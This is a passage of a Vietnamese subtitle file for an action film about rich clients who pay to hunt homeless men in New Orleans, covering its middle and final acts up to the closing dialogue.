săn ở Rio de Janeiro tại Carnival,

00:37:55.308 --> 00:37:57.606
Bọn Nam Tư tại phút cuối không thỏa mãn lắm.

00:37:57.711 --> 00:37:59.770
Oh, vâng

00:37:59.880 --> 00:38:04.044
Ông biết đấy, trên hành tinh này
lúc nào cũng có vài nơi thật bất hạnh...

00:38:04.151 --> 00:38:06.745
để chúng tôi có thể ra sức kinh doanh.

00:38:06.853 --> 00:38:08.753
Được rồi Ông Fouchon.

00:38:10.590 --> 00:38:14.048
- ông đã có khách hàng mới
- Tốt

00:38:14.161 --> 00:38:16.891
Cảm ơn ông đã ghé qua Zenan.

00:38:16.997 --> 00:38:19.397
Bác sĩ Morton sẽ đưa ông ra xe

00:38:19.499 --> 00:38:22.195
Ngân hàng của tôi sẽ chuyển tiền trong 1h nữa

00:38:22.302 --> 00:38:24.532
- Tuyệt quá
- Bao giờ chúng ta có thể bắt đầu đi săn?

00:38:24.638 --> 00:38:28.233
Khi thu xếp xong, chúng tôi sẽ báo ông biết

00:38:36.983 --> 00:38:40.180
Chance. Anh vào đây làm gì thế?

00:38:40.287 --> 00:38:43.552
- Nhiệm vụ bí mật
- Mmmm.

00:38:43.657 --> 00:38:47.593
Xoa bóp đi cưng

00:39:04.845 --> 00:39:07.075
Oh, yeah

00:39:07.180 --> 00:39:09.842
Chào Poe.

00:39:09.950 --> 00:39:12.885
Cái chó gì vậy?

00:39:12.986 --> 00:39:15.853
- Nhớ tao không?
- Trời ơi lại mày nữa sao

00:39:15.956 --> 00:39:17.981
Hình như mày mất một tai

00:39:18.091 --> 00:39:20.787
nên cố mà nghe cho kỹ

00:39:20.894 --> 00:39:25.524
- Nào, mày đã tập lưng chưa ?
- Uh-huh.

00:39:25.632 --> 00:39:27.691
Ai sai những thằng ấy theo tao

00:39:27.801 --> 00:39:29.860
Tôi có biết gì đâu

00:39:32.072 --> 00:39:34.097
Hai triệu dân thành phố này

00:39:34.207 --> 00:39:37.802
- Ai là người tiếc thường cho thằng mập như mày?
- Van Cleaf!

00:39:37.911 --> 00:39:39.811
Hắn tên là Van Cleaf.

00:39:39.913 --> 00:39:41.904
Ngoan
Hắn hiện giờ ở đâu?

00:39:42.015 --> 00:39:45.473
Tôi không biết hắn ở đâu!
Hắn không phải là người Mỹ!

00:39:45.585 --> 00:39:48.418
Hắn sẽ giết tôi nếu
không làm theo hắn!

00:39:48.522 --> 00:39:50.854
Xin hãy tin tôi!
Aaah!

00:39:50.957 --> 00:39:53.391
Nói với thằng bạn Van Cleaf của mày...

00:39:53.493 --> 00:39:56.929
Tao sẽ tìm ra thằng giết Douglas Binder.

00:39:57.030 --> 00:40:00.261
Nếu hiểu tao thì kêu ụt ịt như heo đi

00:40:02.369 --> 00:40:05.338
nữa đi

00:40:17.584 --> 00:40:21.486
Có nhận được hồ sơ của tôi không?

00:40:21.588 --> 00:40:24.421
Binder, Douglas C.

00:40:24.524 --> 00:40:27.425
Ông xem lại bản khám nghiệm tử thi đi.

00:40:28.962 --> 00:40:32.762
Tập hồ sơ này có những chứng cớ...

00:40:32.866 --> 00:40:36.529
xác định vụ Binder's là bị cố sát

00:40:36.636 --> 00:40:39.833
Giờ ông có thể làm việc
với nó hay lưu lại đây,

00:40:39.940 --> 00:40:43.637
Nếu tôi có lệnh của Tòa án
để điều tra thông thường

00:40:43.743 --> 00:40:46.177
Tôi sẽ làm đấy

00:41:00.493 --> 00:41:02.723
Anh nên làm gì hơn là ngồi ho chứ.

00:41:02.829 --> 00:41:06.822
Ông không biết gõ cửa sao?

00:41:15.742 --> 00:41:19.906
Chúng ta có rắc rối rồi
Rắc rối to đấy

00:41:20.013 --> 00:41:22.641
Chúng muốn tôi làm lại
xác định tử thi cho Binder

00:41:26.286 --> 00:41:30.245
- Ai yêu cầu ông chuyện đó?
- Thanh tra Mitchell.

00:41:30.357 --> 00:41:32.757
Gia đình thằng Binder đã nắm được gáy tôi

00:41:34.127 --> 00:41:37.187
- Có mua mụ ta được không?
- Không

00:41:43.770 --> 00:41:46.603
Tôi nghĩ ta đã ngồi lâu
hơn sự chào đón rồi

00:41:50.310 --> 00:41:52.938
Tối nay là buổi săn cuối cùng
của chúng ta ở New Orleans.

00:41:59.953 --> 00:42:02.444
Mở cửa đi

00:42:34.120 --> 00:42:36.520
Một tên nhóc thật buồn cười?

00:42:36.623 --> 00:42:39.490
Chúng ta cần thay đổi không khí
Một nơi nào đó ít nhiệt đới hơn.

00:42:41.261 --> 00:42:43.229
Những ngọn đồi, lâu đài chẳng hạn

00:42:45.298 --> 00:42:47.664
Đông Âu
Chúng ta có thể làm việc ở đó vài năm.

00:43:25.438 --> 00:43:28.771
- Lão Poe đâu?
- Ông Poe không đến được

00:43:28.875 --> 00:43:30.775
vì bị đau lỗ tai

00:43:33.980 --> 00:43:36.813
Ông ấy bảo là có việc cho tôi làm

00:43:36.916 --> 00:43:39.783
Điều đó vẫn có khả năng

00:43:41.421 --> 00:43:44.618
Chúng tôi có trò chơi nhỏ
mời anh cùng tham gia.

00:43:47.394 --> 00:43:49.487
Sợi dây này chứa...

00:43:49.596 --> 00:43:52.394
$10,000

00:43:52.499 --> 00:43:55.491
tất cả từng xu một

00:43:56.603 --> 00:43:58.969
tôi phải làm gì đây?

00:43:59.072 --> 00:44:02.007
Ồ quy luật chơi đơn giản lắm

00:44:02.108 --> 00:44:05.737
Anh chạy đến bờ sông 10 dặm qua thành phố

00:44:05.845 --> 00:44:10.305
chạy với sợi dây đựng tiền,
anh sẽ có $10,000

00:44:10.417 --> 00:44:12.317
tào lao

00:44:13.520 --> 00:44:15.784
Có lẽ anh muốn là kẻ được
thương hại đi xin từng xu nhỏ

00:44:15.889 --> 00:44:18.983
ngủ ngoài mưa

00:44:19.092 --> 00:44:21.492
nửa giờ lại nghe tiếng gọi của bát súp...

00:44:21.594 --> 00:44:24.893
- Mẹ mày

00:44:24.998 --> 00:44:27.159
Tối nay anh có thể thay đổi hoàn toàn

00:44:27.267 --> 00:44:30.862
Nghĩ lại đi $10,000 cơ đấy

00:44:30.970 --> 00:44:34.201
Có thể mua quần áo mới, tẩy sạch mình

00:44:34.307 --> 00:44:37.743
Nhìn thẳng vào mắt mọi người
khi đi ngang qua họ ngoài phố

00:44:37.844 --> 00:44:40.836
Số tiền này cho phép anh
trở lại làm người lần nữa

00:44:40.947 --> 00:44:44.041
thay vì là một cái bóng cũ kỹ

00:44:49.823 --> 00:44:53.281
- Đến được bờ sông là có tiền phải không
- Tất cả

00:44:55.829 --> 00:45:00.459
- Còn không tôi được cái gì?
- Anh là người hâm mộ thể thao mà Roper.

00:45:00.567 --> 00:45:03.035
hình dung đi

00:45:12.912 --> 00:45:16.313
Anh có 5 phút để giải quyết đấy
Đừng lãng phí thời gian

00:45:40.507 --> 00:45:43.499
Ở đây là New Orleans, ông Zenan,

00:45:43.610 --> 00:45:45.510
không phải là Beirut đâu.

00:46:24.250 --> 00:46:26.150
tới phiên ông đấy.

00:46:28.988 --> 00:46:31.582
- Ông Zenan, mở chốt an toàn đã
- Oh.

00:47:32.952 --> 00:47:35.386
Giết hắn.

00:47:35.488 --> 00:47:39.356
Tôi không muốn giết,
hắn bị thương rồi

00:47:39.459 --> 00:47:41.893
- Giết hắn đi
- tôi không thể

00:47:41.995 --> 00:47:46.364
- bỏ đi được không?
- Này, đừng làm nhục tôi trước mặt thuộc hạ

00:47:46.466 --> 00:47:48.366
Ông biết vì sao ông đến đây mà?

00:47:48.468 --> 00:47:50.595
Ông đã trả nửa triệu đô...

00:47:50.737 --> 00:47:53.297
để ý thức rằng mình còn sống hay đã chết

00:47:53.439 --> 00:47:56.169
Nào giết nó đi

00:47:56.309 --> 00:47:58.675
Kết thúc đi!

00:47:58.778 --> 00:48:01.212
Chúa ơi, sao hắn không đi chơi câu cá chứ?

00:48:40.086 --> 00:48:42.816
Giờ mày hiểu sao tao đòi tiền trước rồi chứ

00:48:46.459 --> 00:48:48.359
Đây

00:48:49.796 --> 00:48:52.287
Dẫn chó đi săn con lợn ngay đi?

00:48:52.432 --> 00:48:54.161
Tao không muốn ở đây cả đêm đâu.

00:49:00.273 --> 00:49:03.640
Cứu tôi với!
Làm ơn! Làm ơn!

00:49:10.883 --> 00:49:13.750
Cứu tôi!

00:49:13.853 --> 00:49:16.185
Giúp tôi với !

00:49:16.289 --> 00:49:18.189
- Đi, nhận việc đi!
- Làm ơn!

00:49:18.291 --> 00:49:21.317
- Làm ơn!
- Xem này, mẹ kiếp. Xem mày đi!

00:49:21.461 --> 00:49:24.988
Cứu tôi... cứu tôi!

00:49:25.131 --> 00:49:29.534
Làm ơn cứu tôi!

00:49:35.475 --> 00:49:37.466
Hey, nhìn kìa!
Thôi nào!

00:49:37.610 --> 00:49:40.545
- Bước lên đi.
- Gọi cớm hay gì đây!

00:49:40.680 --> 00:49:42.477
Cứu tôi!

00:49:44.517 --> 00:49:46.883
- Này, cho tôi vào... làm ơn!
- Không, đóng cửa rồi

00:49:46.986 --> 00:49:48.954
Cho tôi vào

00:49:49.088 --> 00:49:51.420
Này anh bạn!
Này này, thôi nào!

00:49:51.524 --> 00:49:54.288
- Anh bạn, ra khỏi đây đi.
Nào, ra khỏi đây nhanh.
- Hey, come on, man!

00:49:54.394 --> 00:49:57.522
- Giúp tôi với!
- Này, Tôi chẳng có gì thay đổi đâu!

00:51:39.365 --> 00:51:42.198
Anh ta nhận được quảng cáo của Randal Poe.

00:51:42.301 --> 00:51:44.895
Vậy đến thăm hắn một chuyến xem

00:52:45.865 --> 00:52:48.732
Randal, Randal, Randal.

00:52:50.169 --> 00:52:53.570
Mày ra đi không từ biệt à?

00:52:55.808 --> 00:52:58.333
Mẹ tôi bị ốm ở Biloxi...

00:53:00.613 --> 00:53:02.774
Tôi định gọi điện báo
ông biết Van Cleaf.

00:53:02.915 --> 00:53:05.349
chắc chắn rồi Randal.

00:53:05.451 --> 00:53:07.851
chắc chắn mày sẽ gọi

00:53:07.954 --> 00:53:12.357
Tao biết mày đâu muốn làm tao buồn

00:53:12.458 --> 00:53:14.983
Hmm?

00:54:00.973 --> 00:54:04.033
Dường như chúng ta đã bỏ lỡ bữa tiệc

00:54:11.784 --> 00:54:13.911
- nằm xuống !
- Ooh!

00:54:37.643 --> 00:54:40.840
Ở yên đấy!

00:55:03.069 --> 00:55:05.230
Đi... đi

00:56:19.779 --> 00:56:22.771
- Đi thôi
- Chúng ta không thể bỏ cô ta ở đây!

00:56:24.517 --> 00:56:26.917
Giữ hắn trong vòng 15 phút nữa

00:56:27.019 --> 00:56:30.352
Cô ấy chết rồi. Bỏ đi

00:57:05.524 --> 00:57:08.755
Giữ tay lái nhé!

00:59:13.485 --> 00:59:58.197
Yeah!

00:59:58.197 --> 01:00:00.688
Ưu tiên phụ nữ trước

01:00:00.799 --> 01:00:02.699
Cái gì?

01:00:31.263 --> 01:00:34.096
Có lẽ ta vẫn còn cuộc săn cuối cùng nữa đấy

01:01:07.199 --> 01:01:09.827
dấu chân này cách đây 2 giờ

01:01:09.935 --> 01:01:12.529
cũng có thể là 2 giờ rưỡi

01:01:12.638 --> 01:01:15.801
Có thể sẽ nguy hiểm

01:01:15.908 --> 01:01:19.503
Cảm ơn các ông đã đến
đúng lúc để nghe lời ghi nhận

01:01:19.611 --> 01:01:22.512
Chúng ta đang săn đuổi một đối thủ đặc biệt

01:01:24.083 --> 01:01:26.847
Thực sự là giải thưởng của thế giới

01:01:26.952 --> 01:01:29.944
Cái giá của cuộc tham gia nhỏ này

01:01:30.055 --> 01:01:32.319
là 750,000$ mỗi người

01:01:32.424 --> 01:01:34.915
Người nào trong các ông may mắn hạ được nó

01:01:35.027 --> 01:01:36.995
xem như đã trả xong mấy trăm nghìn dollars

01:01:41.767 --> 01:01:45.294
Mấy con sông này có cá sấu không?

01:01:45.404 --> 01:01:47.429
Nếu điều này làm cô yên tâm
thì tôi trả lời rằng có đấy

01:01:47.539 --> 01:01:49.439
yeah.

01:01:55.447 --> 01:01:58.974
Đi tiếp nào, đường còn xa lắm...

01:01:59.084 --> 01:02:03.111
- Từ đây đến chỗ chú Douvee's
- Có thể chúng sẽ không thấy ta ở đây

01:02:03.222 --> 01:02:07.352
Chúng sẽ đến, nếu chúng có người
lần dấu vết giỏi như chú Douvee.

01:02:07.459 --> 01:02:10.690
Bọn chúng chỉ cần theo dấu vết xe lửa

01:02:10.796 --> 01:02:13.993
Tôi nghĩ chúng ta phải đi thêm vài giờ nữa

01:02:14.099 --> 01:02:17.899
- Okay.
- Đi nào

01:02:27.346 --> 01:02:31.180
Có đường mòn nào không ?

01:02:31.283 --> 01:02:34.275
Đây chính là con đường

01:02:34.386 --> 01:02:36.980
Anh thực sự thích điều này phải không Chance?

01:02:37.089 --> 01:02:41.423
Nếu ta gặp khó khăn
thì chúng cũng thế

01:02:46.431 --> 01:02:48.331
Cô tin tôi không?

01:02:49.935 --> 01:02:52.335
Dĩ nhiên tôi tin anh

01:02:52.437 --> 01:02:55.929
Nhắm mắt lại đi

01:02:56.041 --> 01:03:00.000
Tại sao anh muốn tôi tin
anh với đôi mắt nhắm chứ?

01:03:01.446 --> 01:03:03.937
Nhắm mắt lại

01:03:36.915 --> 01:03:39.975
- Nó chết chưa?
- chưa đâu.

01:03:44.256 --> 01:03:46.952
Anh định làm gì thế?

01:03:47.059 --> 01:03:49.493
Dành một bất ngờ nhỏ cho các bạn của tôi

01:04:10.048 --> 01:04:12.642
Thật khốn kiếp!

01:04:43.715 --> 01:04:46.980
Nếu hắn muốn chết trong yên lặng
thì phải giúp hắn chết sớm thôi

01:04:47.085 --> 01:04:50.020
Boudreaux không có thời gian
tạo ra sự ngạc nhiên nữa rồi

01:04:50.122 --> 01:04:52.317
Jerome!

01:04:52.424 --> 01:04:54.984
làm ơn nhé

01:04:55.093 --> 01:04:58.824
và đi đứng cẩn thận nhé. Lên đường đi

01:05:30.095 --> 01:05:33.326
Đôi lúc mình thấy phục mình quá

01:05:33.432 --> 01:05:37.766
whiskey thật là ngon!
làm cho bọn thỏ con phải nhỏ rãi!

01:05:56.588 --> 01:05:59.557
- Chance? Chance phải không
- Yeah!

01:06:07.566 --> 01:06:11.024
Cháu đến thăm chú Douvee.

01:06:13.939 --> 01:06:17.397
Natasha,
đây là chú Douvee.

01:06:17.509 --> 01:06:19.977
rất hân hạnh thưa cô

01:06:22.180 --> 01:06:26.708
Băng bó nó lại, không đau nữa đâu

01:06:26.818 --> 01:06:31.414
- can đảm lên cháu
- Chú Douvee, có nhiều người đuổi theo cháu

01:06:31.523 --> 01:06:35.619
Ta biết
Ta đánh hơi được chuyện đó

01:06:35.727 --> 01:06:38.958
Chú còn giữ khẩu 30-06, cháu
tặng hôm sinh nhật không?

01:06:39.064 --> 01:06:41.794
Không nó bị mất rồi

01:06:43.301 --> 01:06:46.498
Nhưng mà

01:06:46.605 --> 01:06:48.505
Ta vẫn còn giữ khẩu của cháu

01:07:37.956 --> 01:07:41.323
Nói cho chú biết đi,

01:07:41.426 --> 01:07:43.917
Bọn đuổi theo cháu vì
tiền hay tiêu khiển thôi?

01:07:44.029 --> 01:07:47.726
- Cả 2
- Uh-huh.

01:07:47.833 --> 01:07:51.325
Cháu sẽ cỡi con Elvira về hướng Nam,
đến Bayou La Fouche,

01:07:51.436 --> 01:07:53.336
nghĩa địa Mardi Gras .

01:07:53.438 --> 01:07:58.000
Nếu cháu làm được thì cứ việc.

01:07:58.109 --> 01:08:00.202
Chú cẩn thận nhé

01:08:06.585 --> 01:08:09.053
Đừng lo cho chú.

01:08:09.154 --> 01:08:11.054
Chú thích khách khứa mà

01:08:16.862 --> 01:08:20.491
Cẩn thận nhé, không có
em anh dễ hạ chúng hơn

01:08:48.493 --> 01:08:51.291
Anh ấy sẽ không sao đâu chú

01:08:51.396 --> 01:08:53.626
Thôi

01:08:53.732 --> 01:08:55.632
Ta đi nào

01:09:38.810 --> 01:09:42.439
Uống đi, không được làm đổ đấy

01:09:42.547 --> 01:09:44.447
làm sạch cỏ mới được

01:09:46.585 --> 01:09:49.179
Nhà trống trơn, nó vừa đi khỏi

01:10:34.032 --> 01:10:36.330
Mẹ kiếp nằm xuống mau!

01:11:10.669 --> 01:11:12.603
Hey!

01:11:12.704 --> 01:11:14.433
Ngừng lại!

01:11:16.508 --> 01:11:19.739
Thằng Boudreaux mới là
mục tiêu của chúng ta

01:11:21.413 --> 01:11:24.644
Mày ngu như bò!

01:11:24.749 --> 01:11:27.718
Đi!

01:11:39.264 --> 01:11:44.133
Thằng Boudreaux đi lối này
15' trước. Hắn đi bằng ngựa.

01:11:45.670 --> 01:11:48.571
Hắn muốn dẫn ta ra xa
cô bạn gái của hắn

01:11:50.642 --> 01:11:53.304
Lên chiếc xe khốn kiếp ấy mau

01:11:53.411 --> 01:11:57.279
Mau lên đi!

01:11:59.017 --> 01:12:00.917
Bọn chúng toàn là lũ óc thối

01:12:03.588 --> 01:12:05.954
Lấy trực thăng đi tìm thằng Boudreaux.

01:12:06.057 --> 01:12:10.460
- Chúng ta sẽ phục kích ở Bayou La Fouche
- Tôi có thể hạ hắn từ trên không

01:12:10.562 --> 01:12:13.656
Thằng nào cũng có thể hạ hắn từ trên không
Tao muốn hạ hắn ở mặt đất!

01:12:13.765 --> 01:12:15.858
Tôi có thể hạ hắn từ trên không

01:12:15.967 --> 01:12:19.528
- Hãy tỏ ra chuyên nghiệp một chút đi Pick.
- Có thể anh đã mắc sai lầm rồi đấy.

01:12:20.839 --> 01:12:23.637
Chắc chắn là nó có ở đó Pick.

01:12:54.672 --> 01:12:56.572
Hắn đấy.

01:16:16.007 --> 01:16:18.305
Ê chim bồ câu.

01:16:43.801 --> 01:16:46.929
Avril Pybus đã có chuyện cách đây 2 dặm

01:16:47.071 --> 01:16:50.165
Cháu đi gọi điện cho cảnh sát trưởng.

01:16:50.308 --> 01:16:52.799
Đúng đấy

01:16:52.944 --> 01:16:56.107
ta nghĩ có lẽ cháu phải gọi cảnh sát rồi

01:17:00.084 --> 01:17:03.781
Dường như chiến tích của các ông
đã được mở ra một cái miệng mới.

01:17:03.921 --> 01:17:07.322
Tôi sẽ tổng kết tình hình
chiến lược cho quý vị

01:17:07.458 --> 01:17:09.983
Boudreaux đã bị thương
bị săn đuổi và quấy rầy...

01:17:10.128 --> 01:17:12.392
qua vài dặm đường

01:17:12.530 --> 01:17:16.057
Giờ nó bị dồn vào chân tường
và 20 thằng ta chống mình nó

01:17:16.200 --> 01:17:18.691
Nó là một con côn trùng ồn ào

01:17:18.836 --> 01:17:21.304
mà tôi muốn dẫm nát....

01:17:22.807 --> 01:17:26.299
Cậu không giận tôi chứ Pick?

01:17:26.444 --> 01:17:29.504
Tôi không nổi giận bao giờ

01:17:29.647 --> 01:17:31.547
dân nhà nghề mà

01:18:00.278 --> 01:18:01.973
Tiến lên nào!

01:19:02.740 --> 01:19:04.640
Không tốt đâu.

01:19:06.544 --> 01:19:10.002
Nếu về bây giờ có thể
ta sẽ ở Mexico trong 5h nữa

01:19:10.148 --> 01:19:12.548
Mày sao thế Pick?

01:19:12.683 --> 01:19:14.617
Tay thợ săn mạnh mẽ lại trở nên ủy mị sao?

01:19:57.362 --> 01:19:59.571
Thề có Chúa tao sẽ lùng ra mày!

01:20:01.214 --> 01:20:04.703
Chúng mày trả tiền chỉ
để đứng nhìn thôi sao!

01:20:05.708 --> 01:20:07.271
Điều gì làm mày sợ hãi vậy

01:20:07.734 --> 01:20:10.227
Bắt nó đi chứ?

01:20:24.215 --> 01:20:26.240
Khóa cửa nơi này lại.

01:20:28.271 --> 01:20:30.171
Tao sẽ giết thằng khốn này.

01:21:18.105 --> 01:21:19.610
Xin lỗi vì đã làm hỏng áo.

01:21:21.132 --> 01:21:23.244
- Bây giờ chúng muốn cái gì?

01:21:23.881 --> 01:21:27.304
Bây giờ ta sẽ bắn tên vào bất kỳ ai?

01:21:28.391 --> 01:21:30.382
Đi

01:22:09.556 --> 01:22:11.990
Đồ quỷ cái!

01:22:17.992 --> 01:22:20.051
Xem cháu đã làm gì thế này

01:22:20.291 --> 01:22:23.319
Đưa súng cho chú
Ta sẽ xử bọn này giùm cháu

01:22:23.370 --> 01:22:25.235
Đưa súng đây!

01:22:51.779 --> 01:22:54.407
Chance!

01:23:12.592 --> 01:23:15.527
- Cháu nói chú đi tìm cứu viện
- Bọn ta là cứu viện đây

01:23:15.691 --> 01:23:18.683
Bọn chúng muốn giết cháu
Bọn ta ở đây để giúp cháu

01:24:06.463 --> 01:24:09.557
Boudreaux,
Boudreaux, Boudreaux.

01:24:12.271 --> 01:24:13.544
Tao đã tìm mày khắp nơi

01:24:15.301 --> 01:24:18.625
- Mày tìm không đúng chỗ thôi.
- Thế thì tốt

01:24:20.473 --> 01:24:23.670
Tao biết mày đâu muốn làm tao buồn.

01:25:50.704 --> 01:25:52.155
Chú có thể đứng dậy không?

01:25:52.230 --> 01:25:54.790
Chân tôi không thể nhảy
nhưng có thể đứng dậy được.

01:27:10.766 --> 01:27:13.030
Hey!

01:27:14.829 --> 01:27:16.414
thằng khốn kiếp Mày thật là may mắn!

01:27:17.906 --> 01:27:19.668
- tao muốn nhiều hơn thế nữa?
- Yeah!

01:27:21.385 --> 01:27:22.954
Mày thấy cảm giác
săn đuổi thế nào?

01:27:26.235 --> 01:27:27.158
Mày hãy nói với tao!

01:27:27.241 --> 01:27:28.568
Chính mày phải biết rõ hơn.

01:27:29.303 --> 01:27:32.336
Thằng khốn hãy lãnh đạn đi !

01:28:10.796 --> 01:28:12.475
Bắn hắn đi!

01:28:13.733 --> 01:28:17.692
- Chance, làm ơn!
- Nếu hắn giết tao, tao sẽ giết mày

01:28:17.829 --> 01:28:21.731
Nó đã chọn nhầm công cụ làm việc rồi

01:28:26.026 --> 01:28:28.893
Bỏ súng xuống...

01:28:30.170 --> 01:28:32.070
hoặc tao sẽ cắm
tên qua họng nó!

01:28:34.336 --> 01:28:37.635
Không!

01:29:01.109 --> 01:29:03.063
Binder mày thấy đấy

01:29:04.012 --> 01:29:07.470
mày và tao đều hiểu;
đó là chuyện gia đình mày

01:29:07.663 --> 01:29:09.991
Còn hắn không liên quan gì đến vụ này

01:29:11.718 --> 01:29:15.381
Sao mày muốn cuộc sống
của tao trở nên phức tạp vậy?

01:29:17.396 --> 01:29:18.453
Người nghèo cũng chán sống

01:29:26.069 --> 01:29:27.291
Nạp đạn cho tao.

01:31:21.672 --> 01:31:24.835
Mùa đi săn... đã kết thúc rồi

01:31:57.383 --> 01:31:58.180
Chú Douvee!

01:31:58.243 --> 01:32:00.143
Chú Douvee!

01:32:01.948 --> 01:32:04.678
Có chuyện gì mà ồn ào vậy?

01:32:05.933 --> 01:32:07.992
Oh, lạy Chúa.

01:32:08.426 --> 01:32:11.452
- Cái gì?
- Ta đau buồn vì cái này.

01:32:16.207 --> 01:32:18.438
Bây giờ nó thực sự trở thành tai họa rồi!

01:32:19.034 --> 01:32:20.814
- Đó thực sự là tồi tệ
- Phải thật là tồi

ZeroDay Forums Mini